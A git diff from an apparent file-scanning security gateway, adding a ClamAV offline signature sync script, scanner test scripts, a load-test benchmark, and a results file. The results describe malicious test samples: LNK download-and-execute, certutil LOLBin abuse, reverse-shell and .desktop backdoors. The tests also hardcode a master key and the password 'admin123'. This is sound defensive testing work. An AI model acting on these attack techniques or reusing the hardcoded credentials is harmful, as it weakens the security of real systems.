+WORKDIR=$(mktemp -d) +cleanup() { rm -rf "$WORKDIR"; } +trap cleanup EXIT + +OUTDIR="$(pwd)/dist" +mkdir -p "$OUTDIR" + +VERSION="$(date +%Y%m%d)" +OUTFILE="clamav-db-${VERSION}.tar.gz" +echo "=== MeshSafe ClamAV 离线同步 ===" +echo "输出文件:$OUTDIR/$OUTFILE" +echo + +# --- 方式 A:用 Docker 拉取(需要 Docker 环境)--- +if command -v docker &>/dev/null; then + echo "[1/2] 通过 Docker freshclam 拉取签名库..." + docker run --rm \ + -v "$WORKDIR":/var/lib/clamav \ + clamav/clamav:latest \ + freshclam --stdout + echo " ✓ 签名库已下载到 $WORKDIR" +else + # --- 方式 B:系统已安装 ClamAV --- + echo "[1/2] 系统内 freshclam 拉取..." + if ! command -v freshclam &>/dev/null; then + echo "✗ 未找到 docker 或 freshclam,退出" + exit 1 + fi + freshclam --datadir="$WORKDIR" + echo " ✓ 签名库已下载到 $WORKDIR" +fi + +echo +echo "[2/2] 打包..." +ls -la "$WORKDIR"/*.cvd 2>/dev/null || ls -la "$WORKDIR"/*.cld 2>/dev/null || { + echo "✗ 未找到 .cvd/.cld 文件,freshclam 可能失败" + exit 1 +} + +tar -czf "$OUTDIR/$OUTFILE" -C "$WORKDIR" . + +# 附带 import 脚本模板 +cat > "$WORKDIR/import_clamav_db.sh" << 'EOF' +#!/usr/bin/env bash +# ============================================================================= +# ClamAV 病毒库离线导入脚本(内网侧执行) +# ============================================================================= +# +# 用法:bash import_clamav_db.sh clamav-db-*.tar.gz +# +# 要求:docker compose 已经启动 meshsafe-clamav 容器 +# ============================================================================= +set -euo pipefail + +TARBALL="${1:?用法: bash import_clamav_db.sh clamav-db-*.tar.gz}" +if [ ! -f "$TARBALL" ]; then + echo "✗ 文件不存在: $TARBALL" + exit 1 +fi + +echo "=== MeshSafe ClamAV 离线导入 ===" +echo "输入:$TARBALL" +echo + +# 解压到临时目录 +TMPDIR=$(mktemp -d) +trap "rm -rf $TMPDIR" EXIT +tar -xzf "$TARBALL" -C "$TMPDIR" + +echo "[1/3] 停止 clamd(如果在运行)..." +docker compose -f docker-compose.yml exec -T clamav supervisorctl stop clamd 2>/dev/null || true +sleep 2 + +echo "[2/3] 覆盖签名库文件..." +docker compose -f docker-compose.yml cp "$TMPDIR"/. clamav:/var/lib/clamav/ + +echo "[3/3] 重启 clamd..." +docker compose -f docker-compose.yml restart clamav + +echo +echo "✓ 导入完成。验证:" +echo " docker compose logs --tail 20 clamav" +echo " 或 curl http://localhost:8443/api/v1/health 看 clamav signature 字段" +EOF + +chmod +x "$WORKDIR/import_clamav_db.sh" + +# 重新打包包含 import 脚本 +tar -czf "$OUTDIR/$OUTFILE" -C "$WORKDIR" . + +echo +echo "✓ 完成:$OUTDIR/$OUTFILE" +echo " 大小:$(du -h "$OUTDIR/$OUTFILE" | cut -f1)" +echo +echo "后续步骤(内网侧):" +echo " 1. 将 $OUTFILE 从光闸摆渡到内网" +echo " 2. docker compose up -d" +echo " 3. bash import_clamav_db.sh $OUTFILE" diff --git a/static/logo.png b/static/logo.png new file mode 100644 index 0000000..698bcf6 Binary files /dev/null and b/static/logo.png differ diff --git a/tests/_debug_scan.py b/tests/_debug_scan.py new file mode 100644 index 0000000..5e8c909 --- /dev/null +++ b/tests/_debug_scan.py @@ -0,0 +1,32 @@ +import sys, os +sys.path.insert(0, '.') +os.chdir(r'd:\project\MeshSafe') +# DB_URL 由 .env 或 compose environment 提供 +os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=') +os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml') + +from app.services.scanner import Scanner +from app.services.policy import PolicyStore + +ps = PolicyStore(policy_file='config/policy.yaml') +scanner = Scanner(ps) + +files = [ + 'tests/samples/shell_php_eval.php', + 'tests/samples/pe_injection.exe', + 'tests/samples/normal_readme.txt', + 'tests/samples/normal_deploy.sh', +] + +for f in files: + print(f"\n{'='*60}") + print(f"扫描: {f}") + outcome = scanner.scan_file( + file_path=f, original_filename=os.path.basename(f), + task_id=f"debug-{os.path.basename(f)}", channel='test', client_id='test', + ) + print(f"verdict={outcome.verdict} action={outcome.action} score={outcome.score}") + for fi in outcome.findings: + print(f" [{fi.engine}] rule={fi.rule} sev={fi.severity} weight={fi.weight}") + if outcome.meta.get('engine_errors'): + print(f" engine_errors: {outcome.meta['engine_errors']}") diff --git a/tests/_e2e_final.py b/tests/_e2e_final.py new file mode 100644 index 0000000..9325d92 --- /dev/null +++ b/tests/_e2e_final.py @@ -0,0 +1,113 @@ +import sys, os, time, hashlib, tempfile +sys.path.insert(0, '.') +# DB_URL 由 .env 或 compose environment 提供 +os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=') +os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml') +os.environ.setdefault('MESHSAFE_ADMIN_PASSWORD', 'admin123') + +# 等 uvicorn 起来 +for _ in range(15): + try: + import requests + r = requests.get('http://127.0.0.1:8443/health', timeout=2) + if r.status_code == 200: + break + except Exception: + pass + time.sleep(0.5) +else: + print('❌ uvicorn 没起来') + sys.exit(1) +print('✅ uvicorn 已就绪') + +import requests +from app.services.scanner import Scanner +from app.services.policy import PolicyStore +from app.db import SessionLocal +from app.models import ScanTask, ScanFinding, IdempotencyRecord + +ps = PolicyStore(policy_file='config/policy.yaml') +scanner = Scanner(ps) + +# ---- 1. 控制台登录 + 页面 ---- +s = requests.Session() +r = s.post('http://127.0.0.1:8443/console/login', data={'username': 'admin', 'password': 'admin123'}) +print(f'\n1. login: {r.status_code}') + +r = s.get('http://127.0.0.1:8443/console/') +print(f'2. dashboard: {r.status_code}') + +r = s.get('http://127.0.0.1:8443/console/policy') +print(f'3. policy: {r.status_code} yara_tab={"panel-yara" in r.text}') + +r = s.get('http://127.0.0.1:8443/console/tasks') +print(f'4. tasks: {r.status_code}') + +r = requests.get('http://127.0.0.1:8443/health') +d = r.json() +print(f'5. /health: status={d["status"]} yara_ok={d["engines"]["yara"]["ok"]} clamav_stale={d["engines"]["clamav"].get("stale_warning")}') + +# ---- 2. 正常扫描(首次)---- +tmp1 = tempfile.NamedTemporaryFile(delete=False, suffix='.php') +tmp1.write(b'') +tmp1.close() + +t1 = time.perf_counter() +outcome1 = scanner.scan_file( + file_path=tmp1.name, original_filename='shell.php', + task_id='e2e-idem-001', channel='e2e', client_id='test', +) +first_ms = int((time.perf_counter() - t1) * 1000) + +os.unlink(tmp1.name) + +print(f'\n6. 首次扫描: verdict={outcome1.verdict} score={outcome1.score} findings={len(outcome1.findings)} took={first_ms}ms idem={outcome1.meta.get("idempotent", False)}') + +# 验证 idempotency_records 表写入 +db = SessionLocal() +idem_count = db.query(IdempotencyRecord).count() +print(f' idempotency_records 表行数: {idem_count}') +db.close() + +# ---- 3. 幂等二次扫描(同内容 + 同策略)---- +tmp2 = tempfile.NamedTemporaryFile(delete=False, suffix='.php') +tmp2.write(b'') # 完全相同内容 +tmp2.close() + +t2 = time.perf_counter() +outcome2 = scanner.scan_file( + file_path=tmp2.name, original_filename='shell.php', + task_id='e2e-idem-002', channel='e2e', client_id='test', +) +idem_ms = int((time.perf_counter() - t2) * 1000) + +os.unlink(tmp2.name) + +print(f'\n7. 幂等扫描: verdict={outcome2.verdict} findings={len(outcome2.findings)} took={idem_ms}ms idem={outcome2.meta.get("idempotent", False)}') +speedup = first_ms / max(idem_ms, 1) +print(f' 提速: {speedup:.1f}x(幂等跳过了引擎扫描)') + +assert outcome2.meta.get('idempotent') is True, '❌ 幂等未命中' +assert idem_ms < first_ms, '❌ 幂等应该更快' +print(' ✅ 幂等生效') + +# ---- 4. 限流(内存模式,client_id=test)---- +# 扫描接口需要签名,这里用 memory 限流直接测底层 +from app.security.ratelimit import _memory_check + +# 填满窗口 +for _ in range(60): + _memory_check('test:ratelimit_test', 60) + +ok = _memory_check('test:ratelimit_test', 60) +print(f'\n8. 限流测试(61/60): {"通过" if ok else "被拒绝 ✅"}') + +assert ok is False, '❌ 限流应拒绝第 61 次' +print(' ✅ 限流生效') + +# 清内存窗口,给后续 run 不受影响 +import app.security.ratelimit as rl +with rl._MEM_LOCK: + rl._MEM_BUCKET.clear() + +print('\n=== E2E 全部通过 ✅ ===') diff --git a/tests/_yara_check.py b/tests/_yara_check.py new file mode 100644 index 0000000..dd82a70 --- /dev/null +++ b/tests/_yara_check.py @@ -0,0 +1,42 @@ +import yara, os +os.chdir(r'd:\project\MeshSafe') +rules = yara.compile(filepaths={f: os.path.join('rules', f) for f in os.listdir('rules') if f.endswith('.yar')}) + +# 测 PHP eval +import tempfile +tmp = tempfile.NamedTemporaryFile(delete=False, suffix='.php', mode='wb') +tmp.write(b'') +tmp.close() +matches = rules.match(tmp.name) +print(f'PHP eval: {[m.rule for m in matches]}') +os.unlink(tmp.name) + +# 测 PE +pe_path = 'tests/samples/pe_injection.exe' +if os.path.exists(pe_path): + matches = rules.match(pe_path) + print(f'PE injection: {[m.rule for m in matches]}') + +# 测 PHP 文件(用真实样本) +php_path = 'tests/samples/shell_php_eval.php' +if os.path.exists(php_path): + matches = rules.match(php_path) + print(f'shell_php_eval.php: {[m.rule for m in matches]}') + +# 测 python reverse shell +py_path = 'tests/samples/shell_python.py' +if os.path.exists(py_path): + matches = rules.match(py_path) + print(f'shell_python.py: {[m.rule for m in matches]}') + +# 测 certutil lolbin +lol_path = 'tests/samples/lolbin.cmd' +if os.path.exists(lol_path): + matches = rules.match(lol_path) + print(f'lolbin.cmd: {[m.rule for m in matches]}') + +# 测 normal_deploy.sh +sh_path = 'tests/samples/normal_deploy.sh' +if os.path.exists(sh_path): + matches = rules.match(sh_path) + print(f'normal_deploy.sh: {[m.rule for m in matches]}') diff --git a/tests/benchmark.py b/tests/benchmark.py new file mode 100644 index 0000000..5b3bdec --- /dev/null +++ b/tests/benchmark.py @@ -0,0 +1,661 @@ +#!/usr/bin/env python3 +"""MeshSafe 并发压测脚本。 + +用法: + python tests/benchmark.py # 跑全部默认场景 + python tests/benchmark.py --concurrent 50 # 只跑 50 并发 + python tests/benchmark.py --concurrent 50 100 # 跑 50 和 100 两档 + python tests/benchmark.py --batch-sizes 10 50 100 # 批量档 + python tests/benchmark.py --base-url http://127.0.0.1:44380 + python tests/benchmark.py --report out.json # 额外输出 JSON 报告 + +原理: + httpx.AsyncClient + asyncio.Semaphore 控制并发数 + 样本从 tests/samples/ 自动扫描,按大小分档 + 大文件(5MB)现场 os.urandom 生成后自动清理 +""" + +from __future__ import annotations + +import argparse +import asyncio +import json +import os +import random +import statistics +import sys +import tempfile +import time +from dataclasses import dataclass, field +from datetime import datetime +from pathlib import Path +from typing import List, Optional, Tuple + +import httpx + +# --------------------------------------------------------------------------- +# 配置常量 +# --------------------------------------------------------------------------- + +DEFAULT_BASE_URL = "http://127.0.0.1:44380" +SAMPLES_DIR = Path(__file__).resolve().parent / "samples" +DEFAULT_TIMEOUT = 60.0 # 单个请求 60s 超时 +WARMUP_COUNT = 5 # 预热次数(不计入统计) + +# 大小分档(字节) +SIZE_TINY = 2 * 1024 # ≤ 2KB +SIZE_SMALL = 16 * 1024 # 2KB ~ 16KB +SIZE_MEDIUM = 100 * 1024 # 16KB ~ 100KB +SIZE_LARGE = 5 * 1024 * 1024 # ≥ 5MB(现场生成) + + +# --------------------------------------------------------------------------- +# 数据类 +# --------------------------------------------------------------------------- + +@dataclass +class SampleFile: + path: Path + name: str + size: int + size_bucket: str # tiny / small / medium / large + + +@dataclass +class RequestResult: + idx: int + start_ts: float + end_ts: float + duration_ms: int + status_code: int + ok: bool + error: Optional[str] = None + files_count: int = 0 + avg_file_ms: int = 0 + + +@dataclass +class ScenarioResult: + name: str + concurrent: int + files_per_request: int + size_bucket: str + started_at: str + finished_at: str + total_duration_ms: int + results: List[RequestResult] = field(default_factory=list) + + # 聚合统计 + @property + def total_requests(self) -> int: + return len(self.results) + + @property + def total_files(self) -> int: + return sum(r.files_count for r in self.results) + + @property + def qps(self) -> float: + if self.total_duration_ms <= 0: + return 0.0 + return self.total_requests / (self.total_duration_ms / 1000.0) + + @property + def files_per_sec(self) -> float: + if self.total_duration_ms <= 0: + return 0.0 + return self.total_files / (self.total_duration_ms / 1000.0) + + @property + def latencies_ms(self) -> List[int]: + return [r.duration_ms for r in self.results if r.ok] + + @property + def avg_ms(self) -> float: + data = self.latencies_ms + return statistics.mean(data) if data else 0.0 + + @property + def p50_ms(self) -> float: + data = self.latencies_ms + return self._percentile(data, 50) if data else 0.0 + + @property + def p95_ms(self) -> float: + data = self.latencies_ms + return self._percentile(data, 95) if data else 0.0 + + @property + def p99_ms(self) -> float: + data = self.latencies_ms + return self._percentile(data, 99) if data else 0.0 + + @property + def error_rate(self) -> float: + if not self.results: + return 0.0 + bad = sum(1 for r in self.results if not r.ok) + return bad / len(self.results) + + @property + def slowest(self) -> Optional[RequestResult]: + oks = [r for r in self.results if r.ok] + return max(oks, key=lambda r: r.duration_ms) if oks else None + + @staticmethod + def _percentile(data: List[int], pct: float) -> float: + if not data: + return 0.0 + s = sorted(data) + k = (len(s) - 1) * (pct / 100.0) + f = int(k) + c = f + 1 if f + 1 < len(s) else f + if f == c: + return float(s[f]) + return float(s[f] * (c - k) + s[c] * (k - f)) + + +# --------------------------------------------------------------------------- +# 样本加载 +# --------------------------------------------------------------------------- + +def load_samples() -> List[SampleFile]: + """扫描 tests/samples/ 下所有文件(跳过 index.json 和 _scan_results.json)。""" + samples: List[SampleFile] = [] + if not SAMPLES_DIR.exists(): + return samples + for p in SAMPLES_DIR.iterdir(): + if not p.is_file(): + continue + if p.name.startswith("_") or p.suffix == ".json": + continue + size = p.stat().st_size + if size <= SIZE_TINY: + bucket = "tiny" + elif size <= SIZE_SMALL: + bucket = "small" + elif size <= SIZE_MEDIUM: + bucket = "medium" + else: + bucket = "large" + samples.append(SampleFile(path=p, name=p.name, size=size, size_bucket=bucket)) + return samples + + +def pick_samples( + all_samples: List[SampleFile], + count: int, + bucket: str = "mixed", + with_large_placeholder: bool = False, +) -> List[SampleFile]: + """从样本池里挑 count 个文件。 + + bucket: tiny / small / medium / large / mixed + with_large_placeholder: 如果 bucket=large,返回一个 placeholder 让调用者生成大文件 + """ + if not all_samples and not with_large_placeholder: + return [] + + pool = all_samples + if bucket != "mixed": + pool = [s for s in all_samples if s.size_bucket == bucket] + if not pool: + # 如果指定 bucket 没文件,fallback 到 mixed + pool = all_samples + + picked = random.choices(pool, k=count) + return list(picked) + + +def make_large_temp_file(size_bytes: int = 5 * 1024 * 1024) -> Tuple[tempfile.NamedTemporaryFile, str]: + """生成大文件(5MB),用于 large bucket 测试。""" + tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".bin") + tmp.write(os.urandom(size_bytes)) + tmp.flush() + return tmp, tmp.name + + +# --------------------------------------------------------------------------- +# 核心压测客户端 +# --------------------------------------------------------------------------- + +class BenchmarkClient: + def __init__( + self, + base_url: str, + username: str = "admin", + password: str = "admin123", + timeout: float = DEFAULT_TIMEOUT, + ) -> None: + self.base_url = base_url.rstrip("/") + self.username = username + self.password = password + self.timeout = timeout + self.cookies: httpx.Cookies = httpx.Cookies() + + async def login(self) -> None: + """登录 console,获取 session cookie。""" + async with httpx.AsyncClient(timeout=self.timeout, verify=False, follow_redirects=True) as c: + # 先 GET 登录页拿 csrf(如果有) + await c.get(f"{self.base_url}/console/login") + r = await c.post( + f"{self.base_url}/console/login", + data={"username": self.username, "password": self.password}, + headers={"Content-Type": "application/x-www-form-urlencoded"}, + ) + self.cookies = c.cookies + if r.status_code not in (200, 302): + raise RuntimeError(f"登录失败: HTTP {r.status_code}") + + async def upload_one( + self, + client: httpx.AsyncClient, + files: List[Tuple[str, bytes, str]], # [(filename, content_bytes, content_type), ...] + ) -> RequestResult: + """一次 upload 请求(可带多文件)。""" + idx = random.randint(0, 999999) + t0 = time.perf_counter() + file_handles = [] + try: + # 构造 files 参数 + upload_files = [("files", (name, content, ct)) for name, content, ct in files] + r = await client.post( + f"{self.base_url}/console/test/upload", + files=upload_files, + ) + t1 = time.perf_counter() + ok = r.status_code == 200 + error = None + files_count = len(files) + if ok: + try: + body = r.json() + if isinstance(body, dict): + results_list = body.get("results", []) + ok = all(it.get("verdict") not in ("error",) for it in results_list) + except Exception as exc: + ok = False + error = f"JSON decode error: {exc}" + else: + error = f"HTTP {r.status_code}" + avg_file_ms = int((t1 - t0) * 1000 / max(files_count, 1)) + return RequestResult( + idx=idx, + start_ts=t0, + end_ts=t1, + duration_ms=int((t1 - t0) * 1000), + status_code=r.status_code, + ok=ok, + error=error, + files_count=files_count, + avg_file_ms=avg_file_ms, + ) + except Exception as exc: # noqa: BLE001 + t1 = time.perf_counter() + return RequestResult( + idx=idx, + start_ts=t0, + end_ts=t1, + duration_ms=int((t1 - t0) * 1000), + status_code=0, + ok=False, + error=str(exc), + files_count=len(files), + ) + finally: + for fh in file_handles: + try: + fh.close() + except Exception: + pass + + async def run_scenario( + self, + name: str, + concurrent: int, + total_requests: int, + files_per_request: int, + size_bucket: str, + samples: List[SampleFile], + ) -> ScenarioResult: + """跑一个场景。 + + concurrent: 并发度(同时在飞的请求数上限) + total_requests: 总共发多少请求 + files_per_request: 每个请求带几个文件(1=单文件场景,>1=批量) + size_bucket: tiny/small/medium/large/mixed + samples: 样本池 + """ + result = ScenarioResult( + name=name, + concurrent=concurrent, + files_per_request=files_per_request, + size_bucket=size_bucket, + started_at=datetime.now().strftime("%Y-%m-%d %H:%M:%S"), + finished_at="", + total_duration_ms=0, + ) + + sem = asyncio.Semaphore(concurrent) + + async def _worker(idx: int, client: httpx.AsyncClient) -> RequestResult: + async with sem: + return await self._make_request(client, files_per_request, size_bucket, samples) + + connector = httpx.Limits(max_connections=concurrent * 2, max_keepalive_connections=concurrent) + async with httpx.AsyncClient( + timeout=self.timeout, + verify=False, + follow_redirects=True, + cookies=self.cookies, + limits=connector, + ) as client: + # 预热(不计入) + if WARMUP_COUNT > 0: + warmup_samples = pick_samples(samples, 1, size_bucket) + for _ in range(min(WARMUP_COUNT, total_requests)): + try: + warmup_files = [(s.name, s.path.read_bytes(), "application/octet-stream") for s in warmup_samples] + await self.upload_one(client, warmup_files) + except Exception: + pass + + # 正式跑 + t_start = time.perf_counter() + tasks = [asyncio.create_task(_worker(i, client)) for i in range(total_requests)] + for fut in asyncio.as_completed(tasks): + r = await fut + result.results.append(r) + t_end = time.perf_counter() + + result.total_duration_ms = int((t_end - t_start) * 1000) + result.finished_at = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + + return result + + async def _make_request( + self, + client: httpx.AsyncClient, + files_per_request: int, + size_bucket: str, + samples: List[SampleFile], + ) -> RequestResult: + """构造一个请求的文件列表,处理大文件临时生成。""" + # 决定这个请求里每个文件的 bucket + if size_bucket == "mixed": + # 混合:随机挑 30% 小、50% 中、20% 大(大的现场生成) + pass + + picked = pick_samples(samples, files_per_request, size_bucket) + + upload_files: List[Tuple[str, bytes, str]] = [] + temp_files_to_clean: List[str] = [] + + for s in picked: + if size_bucket == "large" or (size_bucket == "mixed" and random.random() < 0.2 and s.size_bucket != "large"): + # 生成大文件 placeholder(用 .bin 模拟,如果没有 large bucket 样本) + tmp_path = None + large_candidates = [ps for ps in picked if ps.size_bucket == "large"] + if large_candidates: + real = random.choice(large_candidates) + upload_files.append((real.name, real.path.read_bytes(), "application/octet-stream")) + else: + tmp, tmp_path = make_large_temp_file(5 * 1024 * 1024) + upload_files.append((f"large_test_{tmp.name}.bin", Path(tmp.name).read_bytes(), "application/octet-stream")) + temp_files_to_clean.append(tmp.name) + tmp.close() + else: + upload_files.append((s.name, s.path.read_bytes(), "application/octet-stream")) + + try: + return await self.upload_one(client, upload_files) + finally: + for tf in temp_files_to_clean: + try: + os.unlink(tf) + except Exception: + pass + + +# --------------------------------------------------------------------------- +# 报告格式化 +# --------------------------------------------------------------------------- + +def print_report(scenarios: List[ScenarioResult], base_url: str, workers: int = 4) -> None: + """终端输出汇总报告。""" + print("\n" + "=" * 80) + print(" MeshSafe 并发压测报告") + print("=" * 80) + print(f" 目标: {base_url}") + print(f" 时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") + print(f" uvicorn: --workers {workers}") + print(f" DB pool: pool_size=20, max_overflow=30 (总上限 50)") + print(f" 预热: {WARMUP_COUNT} 次不计入") + print("-" * 80) + + for sc in scenarios: + print(f"\n【{sc.name}】") + print(f" 并发数: {sc.concurrent}") + print(f" 请求文件数: {sc.files_per_request} 个/请求") + print(f" 文件大小档: {sc.size_bucket}") + print(f" 总请求数: {sc.total_requests}") + print(f" 总文件数: {sc.total_files}") + print(f" 总耗时: {sc.total_duration_ms} ms ({sc.total_duration_ms/1000:.2f}s)") + print(f" QPS: {sc.qps:.2f} req/s") + print(f" 文件吞吐: {sc.files_per_sec:.2f} files/s") + print(f" 单请求耗时:") + print(f" 平均: {sc.avg_ms:.0f} ms") + print(f" P50: {sc.p50_ms:.0f} ms") + print(f" P95: {sc.p95_ms:.0f} ms") + print(f" P99: {sc.p99_ms:.0f} ms") + print(f" 错误率: {sc.error_rate*100:.1f}%") + if sc.slowest: + slowest_msg = sc.slowest.error or "ok" + print(f" 最慢请求: {sc.slowest.duration_ms} ms ({slowest_msg[:60]})") + + # 瓶颈分析 + print("\n" + "-" * 80) + print("【瓶颈分析】") + _analyze(scenarios) + + print("\n" + "=" * 80) + + +def _analyze(scenarios: List[ScenarioResult]) -> None: + if not scenarios: + return + for sc in scenarios: + if sc.concurrent == 1 and sc.files_per_request == 1 and sc.size_bucket in ("mixed", "medium"): + baseline = sc.avg_ms + print(f" 基准单文件串行: {baseline:.0f} ms") + + # 并发场景看扩展效率 + for sc in scenarios: + if sc.concurrent > 1 and sc.files_per_request == 1: + print(f" {sc.concurrent} 并发单文件:") + if sc.avg_ms < 300: + print(f" ✅ 响应快(avg={sc.avg_ms:.0f}ms)") + elif sc.avg_ms < 800: + print(f" ⚠️ 中等(avg={sc.avg_ms:.0f}ms)") + else: + print(f" 🔴 较慢(avg={sc.avg_ms:.0f}ms)—— 可能 uvicorn worker 不够或 DB pool 满") + + if sc.error_rate > 0: + print(f" 🔴 错误率 {sc.error_rate*100:.1f}% —— 检查 DB 连接池 / ClamAV / YARA") + + if sc.files_per_request > 1: + per_file = sc.avg_ms / sc.files_per_request + print(f" 批量 {sc.files_per_request} 文件·单用户:") + print(f" 总耗时 ≈ {sc.avg_ms:.0f}ms 单文件均摊 ≈ {per_file:.0f}ms") + if per_file > 300: + print(f" ⚠️ 批量内部 for 循环串行,单文件均摊偏高—— 可考虑 ThreadPoolExecutor 并行化") + else: + print(f" ✅ 批量表现正常") + + +def to_json_report(scenarios: List[ScenarioResult], base_url: str) -> dict: + return { + "generated_at": datetime.now().isoformat(), + "base_url": base_url, + "uvicorn_workers": 4, + "db_pool": {"pool_size": 20, "max_overflow": 30}, + "scenarios": [ + { + "name": sc.name, + "concurrent": sc.concurrent, + "files_per_request": sc.files_per_request, + "size_bucket": sc.size_bucket, + "started_at": sc.started_at, + "finished_at": sc.finished_at, + "total_duration_ms": sc.total_duration_ms, + "total_requests": sc.total_requests, + "total_files": sc.total_files, + "qps": round(sc.qps, 2), + "files_per_sec": round(sc.files_per_sec, 2), + "latency_ms": { + "avg": round(sc.avg_ms, 1), + "p50": round(sc.p50_ms, 1), + "p95": round(sc.p95_ms, 1), + "p99": round(sc.p99_ms, 1), + }, + "error_rate": round(sc.error_rate, 4), + "slowest_ms": sc.slowest.duration_ms if sc.slowest else None, + } + for sc in scenarios + ], + } + + +# --------------------------------------------------------------------------- +# 主入口 +# --------------------------------------------------------------------------- + +async def _main() -> None: + parser = argparse.ArgumentParser(description="MeshSafe 并发压测") + parser.add_argument("--base-url", default=DEFAULT_BASE_URL, help="MeshSafe 基地址") + parser.add_argument("--username", default="admin") + parser.add_argument("--password", default="admin123") + parser.add_argument( + "--concurrent", + nargs="+", + type=int, + default=[50, 100], + help="并发度档位(可多值)", + ) + parser.add_argument( + "--batch-sizes", + nargs="+", + type=int, + default=[10, 50], + help="批量上传文件数(单用户·多文件场景)", + ) + parser.add_argument( + "--requests-per-batch", + type=int, + default=5, + help="批量场景下发几个请求(每个请求带 N 文件)", + ) + parser.add_argument( + "--requests-per-concurrent", + type=int, + default=2, + help="并发场景下每个并发度发几个请求", + ) + parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT) + parser.add_argument("--report", default=None, help="JSON 报告输出路径") + args = parser.parse_args() + + # 1. 加载样本 + all_samples = load_samples() + if not all_samples: + print(f"❌ tests/samples/ 下没找到样本文件") + sys.exit(1) + sizes = sorted([(s.size, s.size_bucket) for s in all_samples], reverse=True) + print(f"📦 样本池: {len(all_samples)} 个文件") + for bucket in ("tiny", "small", "medium", "large"): + count = sum(1 for _, b in sizes if b == bucket) + if count: + print(f" {bucket:7s}: {count} 个") + + # 2. 登录 + print(f"\n🔐 登录 {args.base_url} ...") + client = BenchmarkClient(base_url=args.base_url, username=args.username, password=args.password, timeout=args.timeout) + await client.login() + print(" ✅ 登录成功") + + # 3. 跑场景 + scenarios: List[ScenarioResult] = [] + + # 场景 A:基准串行(1 并发) + print("\n" + "=" * 80) + print("【场景 A】基准串行·单文件·混合大小") + print("=" * 80) + sc_a = await client.run_scenario( + name="A1. 基准串行·单文件", + concurrent=1, + total_requests=20, + files_per_request=1, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc_a) + + # 场景 B:多用户并发·单文件 + for conc in args.concurrent: + print(f"\n{'='*80}") + print(f"【场景 B】{conc} 并发·单文件·混合大小") + print("=" * 80) + sc = await client.run_scenario( + name=f"B.{conc}·并发单文件·混合", + concurrent=conc, + total_requests=conc * args.requests_per_concurrent, + files_per_request=1, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc) + + # 场景 C:单用户·批量多文件 + for batch_n in args.batch_sizes: + print(f"\n{'='*80}") + print(f"【场景 C】单用户·{batch_n} 文件批量上传") + print("=" * 80) + sc = await client.run_scenario( + name=f"C.{batch_n}·单用户批量", + concurrent=1, + total_requests=args.requests_per_batch, + files_per_request=batch_n, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc) + + # 场景 D:多用户并发·批量 + conc_mix = max(10, min(args.concurrent[0] // 5, 20)) + batch_mix = 10 + print(f"\n{'='*80}") + print(f"【场景 D】{conc_mix} 并发·{batch_mix} 文件/请求(最坏情况)") + print("=" * 80) + sc_d = await client.run_scenario( + name=f"D.{conc_mix}并发×{batch_mix}文件", + concurrent=conc_mix, + total_requests=conc_mix, + files_per_request=batch_mix, + size_bucket="mixed", + samples=all_samples, + ) + scenarios.append(sc_d) + + # 4. 输出报告 + print_report(scenarios, args.base_url) + + # 5. JSON 报告 + if args.report: + report = to_json_report(scenarios, args.base_url) + Path(args.report).parent.mkdir(parents=True, exist_ok=True) + Path(args.report).write_text(json.dumps(report, indent=2, ensure_ascii=False), encoding="utf-8") + print(f"\n📄 JSON 报告已保存: {args.report}") + + +if __name__ == "__main__": + asyncio.run(_main()) diff --git a/tests/samples/_scan_results.json b/tests/samples/_scan_results.json new file mode 100644 index 0000000..76ec249 --- /dev/null +++ b/tests/samples/_scan_results.json @@ -0,0 +1,650 @@ +[ + { + "filename": "evil_help.chm", + "category": "CHM帮助", + "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "ChmWithScript" + ], + "actual_rules": [ + "ChmWithScript", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "evil.iso", + "category": "ISO镜像", + "description": "ISO 镜像内嵌 ELF 可执行文件", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "IsoWithExecutable" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "shortcut.lnk", + "category": "LNK", + "description": "LNK Shell Link 指向 cmd.exe /c 下载执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "LnkWithAutoExec" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "lolbin.cmd", + "category": "LOLBin", + "description": "certutil -decode LOLBin 下载执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C1_PE_LOLBin_Usage" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "linux_malicious", + "category": "Linux可执行", + "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "LinuxExecutable" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "LinuxExecutable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "malicious.desktop", + "category": "Linux后门", + "description": ".desktop 文件恶意 Exec 字段", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "DesktopFileAutoExec" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "C7_Linux_ReverseShell_Misc", + "DangerousExecutableExtension", + "DesktopFileAutoExec" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + 